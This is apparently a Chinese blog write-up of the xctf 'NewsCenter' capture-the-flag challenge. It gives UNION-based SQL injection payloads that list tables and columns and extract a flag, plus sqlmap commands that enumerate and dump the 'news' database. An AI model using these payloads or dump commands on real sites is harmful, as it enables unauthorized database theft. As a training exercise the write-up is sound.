2020.3.29 xctf(NewsCenter)①

打开题目,有一处搜索框,搜索新闻。考虑xss或sql注入
这里我们介绍两种手动和sqlmap

①手动测:
在这里插入图片描述我们这里先用order by 手动测字段数,发现当4的时候页面就不能正常显示了,所以这里应该是3。

查询当前数据库中的所有表名:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
这里的news指的是当前数据库名,后面是表名

查询表中的列名:

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

在这里插入图片描述

得到flag:

1' union select 1,2,fl4g from news.secret_table#

在这里插入图片描述

②sqlmap
先bp抓包,并将当前数据包中的内容放到sqlmap文件的下面(新建一个文件)。
爆出当前所有数据库名

sqlmap -r xctfrequest.txt --dbs

在这里插入图片描述sqlmap -r xctfrequest.txt -D news --tables sqlmap -r xctfrequest.txt -D news -T secret_table --columns sqlmap -r xctfrequest.txt -D news -T secret_table -C "id,fl4g" --dump

当然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag在哪了,直接了当,所以对于有目的,好寻找的我们可以使用第一种步步深入;如果比较难找,就第二种方法比较好

sqlmap -r xctfrequest.txt -D news --dump

发布了48 篇原创文章 · 获赞 3 · 访问量 3369

猜你喜欢

转载自blog.csdn.net/DSR446/article/details/105189612
今日推荐